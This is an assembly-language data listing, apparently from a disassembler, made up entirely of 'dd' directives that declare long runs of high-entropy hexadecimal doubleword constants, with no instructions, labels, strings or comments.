		dd 0F45006EDh, 0D0135B07h, 9B03E461h, 0C0E0127Bh, 54C1D582h
		dd 1F0C10Dh, 2960B72Ch,	92E93EFBh, 0C781CA48h, 407F062Eh
		dd 0F9D13DB1h, 7BBA8051h, 0EEA4D7E2h, 0A0E509BCh, 94AF849h
		dd 595B2CBFh, 0C8818950h, 16414141h, 606C6EA1h,	0DD3870CFh
		dd 742C5AC7h, 5C08F71Ch, 1471F1Ah, 0DF4FDEE7h, 6F248157h
		dd 5128E124h, 0C9EE67Bh, 528C1B9Dh, 68B54543h, 5CFD096Fh
		dd 52618ED7h, 4F1C9AEh,	0C5C2AE0Ch, 0E76821C1h,	2A622A22h
		dd 8BB469CAh, 0C9F9D4E6h, 0C9154CF7h, 0ABF0FB2Eh, 18AC585Ah
		dd 687236F6h, 0F0AFE6B7h, 56355F78h, 0B968B182h, 0D4E3A54Eh
		dd 2972EBAAh, 0B0D2F520h, 12A84A18h, 6F13AB56h,	0B2904FBFh
		dd 829B0FA5h, 0BDDF069h, 20BA1C17h, 0FCBF730Ah,	5FEA286Ah
		dd 133DCA49h, 0CBBA5361h, 0F72E12F5h, 547431FAh, 57997B5Dh
		dd 0DF07C2DEh, 0E9136FF0h, 0E1A7263Ah, 9765B94Ah, 5B5183BAh
		dd 7B5AF9B1h, 4AFCB697h, 0E71112B6h, 48110773h,	0A07542Fh
		dd 1313F6D3h, 313C7D00h, 0C14F0925h, 0A664FA0Eh, 4B5D2847h
		dd 0E75334C1h, 0E0D14000h, 0A0302D00h, 0C63136C7h, 2C681658h
		dd 1B1E60Fh, 72887D93h,	857E2DE9h, 6F82BB9Bh, 7FF7647h
		dd 0F23EFC26h, 0DFDC2B10h, 0D5481D8Ah, 0DD025242h, 3441B279h
		dd 277BFEC2h, 0B0A294DEh, 8FB55A05h, 40162B11h,	9CD731F9h
		dd 0F8216292h, 0E9897579h, 961C5050h, 2AF269Fh,	754C0D14h
		dd 44EDE5C9h, 0B737C708h, 365D1BFFh, 0DCD9B748h, 0FAEFE99Dh
		dd 49F7024Dh, 8902A565h, 7D15427Dh, 18C4C783h, 82988178h
		dd 623BCB40h, 0C1BEECC8h, 0B0EEBB04h, 0D87C3166h, 97C9444Ch
		dd 25D7FAA0h, 422FFED1h, 30504C0Bh, 0E4F3DC9Fh,	6CF8BB53h
		dd 0E241EB4Ah, 2326BBCEh, 0F7F9A057h, 0AB754082h, 0EC9FBD4h
		dd 68A3194Ch, 0A62E18D9h, 698056F6h, 0A430820Bh, 0E252F74Eh
		dd 50806CBh, 45D847FFh,	0E720045Ah, 0C2F10111h,	0D1FFE577h
		dd 0B312BD31h, 0B934A46Ah, 24E4703h, 8979CB81h,	39600E42h
		dd 7C722FE6h, 1D0FC0C0h, 0A51C562Eh, 0E967600Fh, 562B098Eh
		dd 0A4D12597h, 0E60234C4h, 0D758E0E9h, 127B524Ch, 8DEA4D75h
		dd 0B2A128BFh, 0F0E255E0h, 0CDDDCFA9h, 8569219h, 35808778h
		dd 14413FB0h, 0BBD60B2Dh, 0A9FDFABAh, 9A89D08Bh, 0E6F10FF9h
		dd 0FD86FCB2h, 5C9518D3h, 7155FA1Eh, 0E5DF4924h, 0E95C13F8h
		dd 5B028164h, 0F12B745Eh, 0EA0705A2h, 0D459FB62h, 4354277Bh
		dd 8223FDAFh, 0DA0122D1h, 0D063842Dh, 0C8DB401Ch, 98362302h
		dd 0D7E2DE4Ch, 40F3E782h, 0CC67AA2Eh, 0D6247E2h, 0CC7ADE0h
		dd 135E1D3Ch, 0D62ABD5Eh, 3C767DAAh, 89AA925Eh,	6CC4F1EBh
		dd 8468C2C0h, 3BEBA448h, 813A21EAh, 34316A0Eh, 4905E654h
		dd 0EDA2F9C2h, 1A5201C7h, 278C27B7h, 0F4918BC9h, 5DE9896Ch
		dd 244FC67Dh, 0E9B843A8h, 2C13BCD5h, 53795BA2h,	93BFA5D9h
		dd 0C4AB2D92h, 4BE08665h, 0A8612CFEh, 0F9685634h, 8B2CF1FEh
		dd 84827C91h, 0A1D027E9h, 17E2B93Fh, 0AD974537h, 0E72EDDD1h
		dd 0FE23846Bh, 93A8BE0h, 5F5DE636h, 743DEE7Dh, 0AC075AE9h
		dd 4A69C19Bh, 356053D6h, 5C6B0983h, 51F02915h, 80C10882h
		dd 4EC67D37h, 0D8B013EEh, 8C2CE975h, 0ED4217E3h, 4D597FF6h
		dd 210C32A8h, 6C45993Fh, 0C670261h, 90B7E97Bh, 0D0B5C2C4h
		dd 293541F0h, 0CE62132Bh, 81D21880h, 2FC20CE2h,	0A30C6AA4h
		dd 4D97721Fh, 5D9BF201h, 660022D6h, 0E14C4403h,	74C35B54h
		dd 0A75A055Bh, 0EE5AD708h, 0C74C081Eh, 0E01118A0h, 0EAC2F0FAh
		dd 0BFD0E05Bh, 0E109FCD4h, 0DC96F70Fh, 0E652025Fh, 520904FCh
		dd 8022AB2h, 23D0B1E9h,	0C1F92D4Ah, 0CE7C0525h,	0D93027BEh
		dd 0EC5D69E5h, 0B9CC2746h, 91FA5416h, 4E7F254Dh, 6E4CBBFDh
		dd 0A4C5FC17h, 8CBA5DE8h, 0D6A3585Ah, 54C5AAD3h, 0EB2FF099h
		dd 0DBF7AC45h, 691CF0h,	2940DF05h, 6E355BD8h, 2B8C4A02h
		dd 5C255368h, 763E6044h, 78B56949h, 0B8620C6h, 5534C195h
		dd 55F26321h, 69A258D9h, 54179325h, 60E15354h, 12C9BBD7h
		dd 4AF6FE38h, 4F75338h,	0A8A5D95h, 5A4AE629h, 0BFE5B7ACh
		dd 5F469598h, 972DABA7h, 0C768FC7Fh, 68205251h,	509274EDh
		dd 1E1DD6Ch, 16C56F28h,	6F93E5E9h, 0AB3EA49Dh, 0BDA04060h
		dd 472DB6FEh, 0AA4FA356h, 9E2C3817h, 0F43C21ACh, 2D56FE25h
		dd 3D2668C0h, 5F632FF8h
		dd 708E387Ch, 82854B97h, 7623E9A9h, 0BA762FA9h,	7F8061D1h
		dd 53F1F75Ch, 445A9B68h, 0E4224733h, 5DC0CBEDh,	1CE868FDh
		dd 22BC2DB9h, 7323B7CBh, 0FF3B92D6h, 5C3292CEh,	0D0917F92h
		dd 99B80082h, 401DCB12h, 66121435h, 7A161E3h, 13EBC26Ah
		dd 0F4BDCB78h, 80C2E24Eh, 0E0F5FCABh, 17DF2951h, 0A6575D5Bh
		dd 0D55F25D2h, 1B84A5E7h, 5100FEC3h, 8081B753h,	0C2BBE725h
		dd 2D32A40Bh, 0EC4EF1EAh, 60995F9Ch, 5E866885h,	5BB2D3E8h
		dd 1FE2C780h, 86A22ECEh, 527F564Ah, 67110B1Dh, 0D53B76CBh
		dd 9B51C7B2h, 10838894h, 805F290Eh, 68F40C3Fh, 0BB01C498h
		dd 0E93C4851h, 713D386Dh, 0AC832577h, 7FEA4FD6h, 0D8BEE9C2h
		dd 0B9799D8Dh, 0AC474C5Bh, 0ECDA9F12h, 165DCCA7h, 4CC16901h
		dd 83639807h, 100EA3D8h, 7E08E2C0h, 0A10E04D3h,	20EB67A7h
		dd 0FA0E5F09h, 6EECE9A2h, 3D45D377h, 0A38F1C93h, 2C213D9Dh
		dd 0A49916h, 8F73021Ah,	0C409A67Bh, 4AE57E2Fh, 0BB32C463h
		dd 416A0698h, 0BBE8D474h, 0C8EF48D2h, 7D40AC7Bh, 259A70B8h
		dd 33581A85h, 9217C9AAh, 83DEE904h, 0E0045ABh, 0E7A69835h
		dd 6A7F3B12h, 0ED0C908h, 0AC1DA6B2h, 5B02AF6h, 826F4EBEh
		dd 1080EA54h, 981549E6h, 76C55834h, 0B352CC30h,	0C359FEA2h
		dd 97903E2Ch, 0BA21F803h, 48003477h, 46984191h,	5379A00Eh
		dd 33C5DF60h, 0A60413E4h, 0F0E40514h, 8850F740h, 46EEBDh
		dd 0CD8170D0h, 291E24C8h, 82F44D5Eh, 29A28F5h, 0EA012FF1h
		dd 6544C2D6h, 5780A1A8h, 31511815h, 5497C690h, 8A4AEB1h
		dd 57129FC6h, 92456007h, 0D0475F02h, 4FE972EEh,	8093FD0Fh
		dd 41360161h, 0D82AFFD1h, 2805BE98h, 0F9093B52h, 0E4E967FEh
		dd 98E7FB66h, 9DC9717Ch, 513D38A0h, 7D9D0F2Bh, 4F06250Ch
		dd 58B8509Fh, 0A84A6361h, 79E35121h, 2FC55B2Bh,	0EDB0A4ECh
		dd 2935108Ch, 0CCAB2201h, 0AE4EE957h, 75529C09h, 6DFF56BCh
		dd 9F727E2h, 6089976h, 58254A7Ch, 19BD7E74h, 0BA59746Bh
		dd 5859FD6Bh, 7D592D50h, 0D1555DA9h, 46FD4B40h,	12AE5F57h
		dd 8238A78Ch, 0D1DD3AE9h, 9CFD4904h, 52719D24h,	8728E904h
		dd 25F70FD1h, 7629EFCCh, 0EA0FBF2Ch, 16DD5B49h,	0F1F68A9Ah
		dd 0B61E6C92h, 0EEC05003h, 1EDEF607h, 0A566040Ah, 0B107B394h
		dd 3E1C097h, 45EEE937h,	0FCD2D598h, 60027558h, 0D583B652h
		dd 1A00EFE4h, 8D070B68h, 0BE435B19h, 39D40361h,	0C02330Eh
		dd 0DAC39E55h, 406CFE89h, 387D8FCDh, 0C5052290h, 73CB26F9h
		dd 5850E70Bh, 75599DE1h, 0E5A85744h, 6B101948h,	315B38D8h
		dd 285692F8h, 0AD669E9Eh, 19C97648h, 5E83069Eh,	76BF04Ch
		dd 6A5BA30Ch, 0BBF6C064h, 787C143Ch, 5801C626h,	0F7590960h
		dd 84D79789h, 0F8E01061h, 5FFB2701h, 0BE963D3h,	9F877870h
		dd 3C571D1h, 95D2C9E8h,	3BB6ABDCh, 934BE8D7h, 91528098h
		dd 4F8EA051h, 0FC9312B5h, 8068A141h, 0B6166523h, 0AB39FE11h
		dd 0D458BD5Fh, 407C0C24h, 2E5D0FCDh, 370BB6B0h,	435B890h
		dd 0B7126849h, 17533F3Bh, 28975F2h, 0D1F5046Ah,	0C211FC4Ch
		dd 60194763h, 832DB1D2h, 0CD6F21D0h, 51B85D4Bh,	69FDA551h
		dd 0B9044E3Ch, 0C0371F9Ah, 2D85F138h, 5D549E26h, 12DAEE00h
		dd 5445E94Ah, 0BC74E1AAh, 80F96905h, 2BD4AD0Bh,	12CDDB86h
		dd 6F7DAC43h, 0F7DE60E4h, 0F9C86827h, 22C2F63Ch, 4060BF54h
		dd 5980D667h, 15CB5801h, 0F90FB54Bh, 1C1B6CC7h,	2A926851h
		dd 6A20B1ADh, 0E2C16612h, 12AECF10h, 6DBDD712h,	0C9239B1Fh
		dd 710FD829h, 5E5F0563h, 8BC001FAh, 1A9D7497h, 2BB2898Dh
		dd 80EA1C3Fh, 82CA46C3h, 1ACCDEDCh, 0DB819D71h,	68D831ADh
		dd 72FBA425h, 0D40B8312h, 0B5055878h, 0FE09FFBBh, 522FF448h
		dd 5CE9FEC0h, 0FCFEB925h, 0E8DFE567h, 0C6027DA2h, 8C4B450h
		dd 6419E1E6h, 21D98801h, 7334CD66h, 20D34C21h, 259090D0h
		dd 1DD159CAh, 0BEAF204h, 52BFC202h, 5AD6A183h, 73C6120Bh
		dd 0ABFD0560h, 21E2C9BAh, 50A8259h, 0CC147468h,	7A7909B9h
		dd 35003E83h, 34365720h, 3CC7E9F0h, 0C9C302E1h,	4FEE1E6Eh
		dd 0E704D751h, 0B1C10211h, 57430116h, 0DFA5B574h, 6D0AFA97h
		dd 0C68FB03h, 0F3405119h, 5BE9D9C8h, 6ADCA1A1h,	5C8B9CB7h
		dd 831DB347h, 0ABA20292h, 0A9620D2Dh, 0C86A7455h, 238138A7h
		dd 0F8E9256Dh, 847E3607h, 1DFF762Ch, 0B5510038h, 8EDC03Fh
		dd 8075D073h, 0E5001378h, 0F6DD8602h, 678850D3h, 5BE806DCh
		dd 4AEE42DFh, 0FAD975C6h, 52BF5CC5h, 9184AAFBh,	0F498E8FAh
		dd 314EB085h, 52C8EBCBh, 0A2C34B36h, 44977654h,	1259F868h
		dd 0AF03361Dh, 800F7E1h, 9ADE7FE9h, 0F990B031h,	8CD7C500h
		dd 751ECA4Ch, 0A4E55828h, 3DAC5D4Eh, 0D2B6FC4Ah, 71C4E404h
		dd 0BD4B918Bh, 0A9598B2Ah, 9C0D9656h, 503D427Bh, 0E0B75300h
		dd 8BC72E80h, 0F6AE0126h, 6FE6E9DFh, 0EC3AAB89h, 74D25AA6h
		dd 3C0DE9Dh, 9834B1BFh,	0F0FA29F9h, 34CBCEF3h, 2FF8745Ah
		dd 615B580Bh, 3F9BDC3h,	658AC169h, 0C050272h, 0DD31921Ah
		dd 9FB09A08h, 0DE3341FBh, 2A5E2D3Bh, 41AAEDD8h,	335081E6h
		dd 0EB315629h, 0DD7EF1AFh, 0EB53F45Ah, 8E80DA00h, 3F5DAC68h
		dd 6D0D84EEh, 0F03EE905h, 0E2985C37h, 99F12E33h, 0EA17F1D8h
		dd 0E2D9D76Bh, 7BF7BC2Bh, 0C821095Ah, 54504C74h, 0BC012EE9h
		dd 8BF7AF5Ch, 0A7087BB4h, 7F4224D4h, 83C11B65h,	4A9F8A74h
		dd 2ABBE905h, 81B7AB91h, 33DE078Eh, 3171813Eh, 0C82EEFh
		dd 8611BFC8h, 1488714Eh, 8421B8DAh, 8CFE454Fh, 20F5538Dh
		dd 700C5B68h, 0E972DCE9h, 5AB7EE0Ah, 4E9FF3CAh,	0DC0A61AAh
		dd 2BD16F07h, 8E5C0A9h,	3BC6F1D8h, 7B92C830h, 0DA34C950h
		dd 0C0DAB383h, 524D5400h, 2D0AEDBAh, 0D52904BCh, 0FEEE895Ah
		dd 881A9ACBh, 2DC834CFh, 124A4379h, 4E6792FAh, 0BF1E2050h
		dd 71D2488Ah, 0B6B7A4FBh, 19A3741Dh, 6CE9E781h,	0D2200AF3h
		dd 60301726h, 519E0965h, 5CE0ECF5h, 5FCAB057h, 124510C5h
		dd 37F86C29h, 5A51FFD2h, 0F4E5D25Ah, 50F8286Eh,	0EAD6E913h
		dd 0BC2EDAA5h, 35A7BDCh, 84C2244Fh, 85BF7457h, 1A0C84C2h
		dd 24F50C08h, 0C9865931h, 7E880012h, 0BE561236h, 0B00528F1h
		dd 7FE8E938h, 0ADDCD9BBh, 93817F2Ch, 843ACFE9h,	747C6820h
		dd 0C149841Eh, 80EBACFEh, 186375BDh, 0BAF7972Fh, 0A5BE0208h
		dd 302D00ABh, 14C46717h, 5C0D93B3h, 4E0E2DE0h, 0A0D85EC0h
		dd 0BE394BD5h, 20D29300h, 50587461h, 175B0605h,	1F55E0D1h
		dd 0D2A0E511h, 751524EBh, 0F84B3838h, 760CB0Ch,	9C31CF5h
		dd 61F44F08h, 6D2D03D5h, 0CEBA8CFEh, 4668098Fh,	8AC1794Ah
		dd 0BC17DBD8h, 0A8E4B112h, 3BBA801Bh, 0B767D72Eh, 984B3FD0h
		dd 75BE9482h, 0ABD1194Bh, 43B2DB0h, 16694284h, 237B0ABh
		dd 7E6A7939h, 1DD2E604h, 0ADC13670h, 0DB68FED9h, 98128CDEh
		dd 0F72C5746h, 854F5E14h, 0D4445CD4h, 0F2F80EA2h, 0F4B983CDh
		dd 6F156DDCh, 64B35B14h, 0F2FA890Fh, 200497ABh,	0B01291D2h
		dd 6E61288Bh, 5A51597Dh, 176FCBE5h, 0DF39FA46h,	0F1445865h
		dd 0C602BEB9h, 11136F19h, 880A7FAh, 56571E9h, 685F16Dh
		dd 0CFFB88AFh, 79D2625Bh, 2B99C041h, 0B11241Fh,	85823B9Ah
		dd 0F9297886h, 0BF15E5C7h, 79B007D5h, 4593C720h, 0BCAAC46Fh
		dd 6AE3A7DBh, 3BE57688h, 0B977FA7Ah, 7257C958h,	4B8190CEh
		dd 0B609AC06h, 0B2E48139h
		dd 5A71F705h, 0AE4E07A6h, 0E8091124h, 42B579C5h, 0BF00D345h
		dd 25DC1D7Eh, 4DF0522h,	0E1BB2D2Dh, 6CB03037h, 0ED98081h
		dd 0E3370073h, 10C3C2ABh, 0EB337077h, 0AFFD1093h, 69A8D635h
		dd 5622CC04h, 58E2EE7Eh, 73FB5097h, 5AE6DF10h, 0FF41852Fh
		dd 1380E92Ah, 34E87D73h, 87A901A4h, 600E637Fh, 18BF7D99h
		dd 804E79BDh, 594ECB89h, 0BDC41AEh, 78DD549Eh, 0FD311765h
		dd 6C2F464h, 1698D742h,	4082F3ACh, 0B09948Dh, 0F00144FCh
		dd 63C1FC86h, 4525E048h, 6AA96A9Fh, 2A687981h, 37D2523Bh
		dd 0ED9D1878h, 0C57E2554h, 76D7327h, 89504E68h,	0B5743890h
		dd 681288ACh, 0EC6038F4h, 9FFEF80Dh, 0E1993375h, 9724943Bh
		dd 0D04C0D0h, 39B31B8Eh, 2C052D04h, 0FCAAB2ACh,	6A0B7816h
		dd 5550F19Eh, 0E5D1DA02h, 0BCF444E0h, 502F282Dh, 9D50B249h
		dd 7A6237D9h, 0C2ED2002h, 77B6705h, 0BA55DEEDh,	51E67588h
		dd 5102E098h, 0C4E9284Eh, 3E595570h, 75C80580h,	0EA011976h
		dd 7707A22Dh, 9F5E1C7Eh, 95FEA25Fh, 2F05F4B0h, 264EFC0h
		dd 0FCE91886h, 574320F2h, 0B3685002h, 414EDC78h, 123B8F96h
		dd 0F4DDAF02h, 0EB97E101h, 0F2803A81h, 0E8EAD0C6h, 32C07E29h
		dd 6F135605h, 0BE4BF44Ch, 6B562D22h, 633889CFh,	2893C8D2h
		dd 9485F2C2h, 72340134h, 2009B353h, 43FF5CBh, 7E1696B9h
		dd 7B288DBBh, 0BF479F02h, 443CD6FEh, 0D4FAE8Bh,	0FEF2EBE1h
		dd 0B8551399h, 5BD2B0B9h, 0E94D3FF6h, 0BDA800CEh, 115E3F7Ch
		dd 45EDD11Fh, 6935F500h, 2DE9399Fh, 42EED336h, 0E9066293h
		dd 0A0221510h, 51215FBAh, 868F1EEh, 3DE58101h, 3B384367h
		dd 111574B6h, 30786E06h, 0F1698075h, 9C2FDA65h,	0A891C1F4h
		dd 66966800h, 0A552BD24h, 4BFEDF09h, 1DBCC1BAh,	14119134h
		dd 0E07A7438h, 0C1632F07h, 39E72705h, 0BF3244D7h, 147D4C22h
		dd 0BC98056h, 99C07D5Ch, 0E918DE29h, 5B24275Ah,	0DFFBB55Fh
		dd 0FDA0DFCBh, 6327A468h, 4E200590h, 0EDAB807Dh, 1D0318B5h
		dd 75B68C01h, 2307058h,	0D43F4E9h, 2F1D7613h, 0DF730555h
		dd 17E66C3h, 5F32DC3Ah,	44CD0176h, 59080CA4h, 9412A51Eh
		dd 0B3127D9Ah, 0E90BABE9h, 0AE44DD48h, 0D1BA5200h, 0C15DCC39h
		dd 81031FE2h, 0AF0904CAh, 0AC548028h, 0E825F725h, 2D375C52h
		dd 0F580F621h, 1EE2AF0h, 0F6A8CD6Bh, 69EDECDDh,	0F4F166C9h
		dd 0B13D659Dh, 0D6947ACDh, 0C72E05E5h, 0E23EA1C9h, 93962E2Eh
		dd 61F28108h, 0DA5EEE04h, 3B574A52h, 17C78ABAh,	54F4A92Eh
		dd 10F4C14Eh, 3ADA8FBEh, 0A6E89812h, 0BAA5C592h, 1A5A08B0h
		dd 0BAFBA65h, 0EA370ADDh, 6809FD10h, 325F14EDh,	0B84082C7h
		dd 0CFBD7B5h, 0BD09FDA5h, 64F7EE7Dh, 0B65A2F3h,	0A8A92052h
		dd 0BD1BA22Bh, 0F350936Ch, 0DCB75A0Ch, 1079A69Eh, 14AE5B94h
		dd 6D10EA2Dh, 0BEFF5063h, 13AF5FD2h, 246012AAh,	6582BEC3h
		dd 8A20DD58h, 2CD52E95h, 4E2E79F3h, 0AEAFC8FAh,	9810F0AAh
		dd 0C84FAF0Fh, 0ADF341C1h, 1EB8300h, 2DC8A1h, 9F76853h
		dd 5B7C6D11h, 67082775h, 0C0434C02h, 0D24B03C7h, 6213BF18h
		dd 0A3F067EEh, 0F8D56D68h, 0B5AAE182h, 0D8606B33h, 4E385BAEh
		dd 1A4AEEFCh, 887E2489h, 0DE409FBBh, 38890BB9h,	0B64B1FF5h
		dd 4B7F5198h, 0CAD13D3Ch, 4F3E7FB0h, 0C397647Bh, 0D4F7A9h
		dd 0E30A82C5h, 481987Bh, 2DF923BFh, 15F3C131h, 3E17DC0h
		dd 9151A7E3h, 0D6EBB032h, 0F5DA25D5h, 769D2470h, 9BEE0153h
		dd 6BFC8D51h, 97332AE0h, 32D5DB09h, 225455F3h, 5AEFD62Fh
		dd 720BFA58h, 51059C08h, 0CE8741D5h, 584B6049h,	787D8EAAh
		dd 5D9C090Dh, 4DDC1B5Ah, 7618FF25h, 0EFC2B409h,	0E2418CEAh
		dd 0C2D5A5D3h, 4F680815h, 0FFF2CCA9h, 66048E58h, 91B25258h
		dd 804CC0EEh, 0E92F1BEAh, 0ADED0522h, 0FEC3B6C1h, 6C131233h
		dd 0E2EA45A7h, 0F94F9872h, 0FDB2F04h, 0F8FAEF83h, 85DD4049h
		dd 0FE338660h, 9F3D5540h, 0A5FA9A41h, 0DDF98B0Fh, 3F97FD30h
		dd 0E56C797h, 67D59068h, 8250B94Eh, 55C469B5h, 8011612h
		dd 3E5A3233h, 112BCA3h,	0DEC80AF9h, 48D569EEh, 7A67B957h
		dd 5E107A7Ch, 514A0035h, 88A8B450h, 858E500h, 0F38059EBh
		dd 0C106C570h, 10BFECC0h, 5D382303h, 44D7EBCBh,	4EEAB3C3h
		dd 15B5A25Eh, 4A653A18h, 0FAECBF44h, 82EAC744h,	0CC7CF556h
		dd 5DEB0905h, 8547CC0h,	0A3D997E6h, 742FAA1Ch, 0CAF46919h
		dd 3E72DFC9h, 96E1675Fh, 0E02BFE2Eh, 9569774h, 4F836878h
		dd 17ECE329h, 0D696D3D5h, 0F3B00F84h, 65ABC728h, 985718A6h
		dd 0EE62EB09h, 2C138063h, 107FD61Ah, 2F39D3E9h,	0B5E6585Dh
		dd 0CE30C70Ch, 5BB22C3Bh, 0E8FA40B0h, 908D3D7h,	3BF6E2F0h
		dd 7C950B4Fh, 165F2785h, 0F9F6502Bh, 6D084D3Ah,	0E85EF113h
		dd 82104D1Dh, 0DD58DEE9h, 2BEFEDC6h, 0B45BA98Bh, 1903B4DFh
		dd 0CC80ECD0h, 4EC4982Ah, 7D30DEC0h, 174830B8h,	500BC44Ch
		dd 0D86224E9h, 0C2215657h, 0AE986B4Fh, 0D925E954h, 69F65C7Fh
		dd 2EB06050h, 345A7C01h, 0AC47E945h, 6EFA9D6Ah,	0D53BAAADh
		dd 5B4FDD44h, 6D3C52FFh, 25E27B0Fh, 0E8E20A2Dh,	5F8ADA7Dh
		dd 5A73EC31h, 9FEB8C64h, 0A5E91340h, 28B60AA0h,	258253CFh
		dd 67DB1636h, 0FD6A0309h, 0E90B59CDh, 0BBA220D2h, 5C427E70h
		dd 7405B03Ch, 832F8B12h, 2EA0C764h, 0EC74B33h, 16E63069h
		dd 19630526h, 70516CA3h, 0FEE688F4h, 0FBEE7D82h, 8E68A6C5h
		dd 0B15E21B2h, 0C7362A31h, 44885C06h, 82A54E77h, 7AD4A76Ah
		dd 5536EB00h, 98524553h, 642E1C3Dh, 410E786Ch, 50655644h
		dd 4E0D3149h, 0C64CF954h, 0F0010AA8h, 0B758D9E2h, 0FA702FB2h
		dd 9A5C27A7h, 0F90A48F4h, 283DF9E4h, 0EF420AC5h, 219C1E11h
		dd 9D3B08E5h, 0CE88DB90h, 6427D144h, 42C7489Eh,	0BD249F58h
		dd 43B9B040h, 350F30A2h, 20B426C7h, 3F39AB4Ch, 0C03200D3h
		dd 0F4B35448h, 8F008328h, 0F047617h, 86F899h, 0C7E1F8Dh
		dd 9D01A206h, 6014AF07h, 4880B2D1h, 0EE9B86h, 5C83C23Bh
		dd 1850D36Eh, 0F696E001h, 2C7B1690h, 0C0DAFCh, 0DECCF332h
		dd 124E8443h, 6CD27300h, 4F76B595h, 81C61261h, 0D52C0718h
		dd 190F606Fh, 0B71EB3B8h, 74CE4F01h, 349A2002h,	0F82B2193h
		dd 2077F6Dh, 7047CDFEh,	93541FBCh, 0BB212800h, 1EADA81Ah
		dd 402C9E3Fh, 0B7B123C4h, 3800AA4Bh, 6C2BCC30h,	1777FBB0h
		dd 7CEE8Fh, 5FE70C9h, 8400F697h, 15791A8Eh, 0C0D88C27h
		dd 13FEC0F1h, 620046CCh, 456CAB8Bh, 1E3BC57h, 6D96E29Eh
		dd 9C30E47Fh, 54C0182Fh, 0C638268Ch, 0BE5F014Dh, 0C25DCB4Ch
		dd 9325A00Eh, 0E1532A00h, 0F52D776Bh, 8CB66384h, 6AB863Ah
		dd 9891D212h, 14C3F81Eh, 0C89507A8h, 1A8C2Dh, 0A113B418h
		dd 0D59435A9h, 0EC640900h, 6EE557F8h, 67D93C7Ah, 0ED5F3A70h
		dd 7EE28380h, 0D241F590h, 2980CBh, 0CCFD50B0h, 5FDC00C5h
		dd 8AFC5A1Ch, 0E902084h, 0C94B4500h, 42A80EE5h,	0A705006Bh
		dd 0F770E2D0h, 96007AFDh, 95F35930h, 0FAB92D23h, 6B16006Eh
		dd 8F0CDC2Fh, 0D7703B3Dh, 66479A00h, 0DBB9170Eh, 8239048Dh
		dd 0E95E5109h, 0DE501CBDh, 0C09F76CFh, 0F3E369DBh, 2288007Ch
		dd 0EBA39681h, 9C0CC837h, 0DAC73B31h, 7EF200EEh, 0E349AF86h
		dd 401E485h, 15B09EC5h,	4420A65Dh, 0F9E70C4Dh, 44D08C87h
		dd 665ED200h, 0B0AA17CBh, 99FF01A2h, 2F289A3Bh,	0A9A82039h
		dd 343018C3h, 7AB874C8h
		dd 80F04F5Dh, 4D68BB5Ah, 0CB53EB01h, 2B16741Eh,	1E750920h
		dd 717C21h, 4E258B0Bh, 8062F6Eh, 0F9247F1Ah, 0AC123F8Ch
		dd 0AB1D93h, 0F8CF33C7h, 0CE072C92h, 4F2D65Ch, 0C8269E70h
		dd 0C7390727h, 2376734Ch, 1BC8E282h, 770057B5h,	35231138h
		dd 9050D547h, 942F0CA2h, 0C8B856E0h, 69046200h,	9CCABD3Bh
		dd 675501BBh, 3CF08B79h, 2C1480BEh, 7DF668C6h, 1D810083h
		dd 0A3A416B7h, 0DD0C4F3Dh, 0D147256h, 15733E57h, 252DAD80h
		dd 0E6666EC1h, 0B6B52A00h, 0DE206AD0h, 0F1CE0275h, 5D83370Eh
		dd 67EA93A0h, 6A00DC7Dh, 0EE6001EBh, 7E58676h, 6C0DF173h
		dd 0ED8E80FAh, 0BD026E2Eh, 3EB051B5h, 474868C9h, 46B83A59h
		dd 71FDCA4h, 0E99A4EE9h, 0C88A5901h, 5C222DDh, 0ACA31319h
		dd 3861F904h, 6001085h,	0CC40177Dh, 8D0D0074h, 0BCB16C3Ah
		dd 0DC06EDA1h, 9791E37Eh, 4927092Ch, 460856FCh,	123B2E8Eh
		dd 51F22CD3h, 9FE20751h, 2380425Eh, 14730EFCh, 24ACE17h
		dd 25C0AE41h, 8B89AA71h, 6C23BE1Bh, 6819E813h, 0F2F40942h
		dd 0FC040981h, 1B7C06Ah, 0B42D3D9Bh, 0C68280AFh, 7ADA173h
		dd 0F4AB8FF1h, 0B4903996h, 0E83ED450h, 699A6011h, 98DE16h
		dd 0A9015C22h, 552DB04Bh, 0EFDDACC1h, 42CAA054h, 0BCA5830Dh
		dd 60E2C842h, 831E097Ch, 0CF8A3834h, 238900F9h,	7FA6E5C5h
		dd 37F69109h, 57D48014h, 122C1AF1h, 424ACC3Eh, 76A25C9Eh
		dd 0F51C5B20h, 276C1307h, 0E11223h, 5432E6E0h, 76C978FAh
		dd 0A0380F56h, 0F379EB8Ch, 81C5130Fh, 0BDDF0C07h, 33BA402Ch
		dd 40F331F5h, 7D1E8ED9h, 0A37A0B71h, 2A969000h,	0AB131789h
		dd 934B000Ah, 0CD6E56DAh, 0F048D45Bh, 765A0058h, 0F9ED63D5h
		dd 6F40F58h, 0F2B76Bh, 0F2DD9F1Dh, 0F83D1F5Eh, 2BCF800Ah
		dd 6574A53h, 74CA006Ch,	0EE547A29h, 700A290h, 96E384E6h
		dd 9AD528h, 0D183DA8Ch,	93D6F6CDh, 0CF5B4001h, 0B90FC35Eh
		dd 91F76080h, 0EC7AD82Bh, 0A8DF0A0Ch, 304AF6h, 88DBC937h
		dd 54F4FEACh, 0BE7A11EEh, 0D3877804h, 8680EC90h, 708F87Bh
		dd 633AA00Ch, 3DE28FF1h, 9C0982Fh, 0B410683Fh, 9A1603ADh
		dd 1B014097h, 0A69E10B1h, 7C2364Ch, 0AA1CBD21h,	0DE9D3E81h
		dd 92E56DCCh, 837926C2h, 0C80994DDh, 0FE9987C0h, 0C6C2D54Ah
		dd 608D783Ah, 28B64C6h,	612733FBh, 15409EF3h, 0F21EE268h
		dd 4ACB9A7Dh, 3AE55671h, 11E13h, 69643419h, 0BA002C03h
		dd 792DC8B4h, 249CC910h, 87FB61h, 5E8FF24Ah, 18C10E0Ch
		dd 0D077C4A2h, 0E439C120h, 144E81FDh, 970DFBC0h, 4BB0C0h
		dd 0DF064525h, 8DB003F1h, 0BE1CD074h, 0CE82C769h, 46E1CB33h
		dd 0B10A227Bh, 7570C448h, 32FE40B5h, 0C7363EEEh, 162E7480h
		dd 0C41AD96Eh, 82705E0Eh, 0B8A6C010h, 909D691Dh, 0EB5102DBh
		dd 7D6FF28Dh, 0B117AB40h, 1A00377Ch, 0A27A19EAh, 0B84E3C63h
		dd 0DF4800A1h, 0F38E7C44h, 0EC04B3Fh, 9B63C127h, 7E5E3D35h
		dd 0A4080C80h, 70B5503Eh, 0FF8123Bh, 20C2B016h,	93D5F9DAh
		dd 0A4AA0BDDh, 778081E7h, 8C63B62Ah, 750CEF00h,	9132902Fh
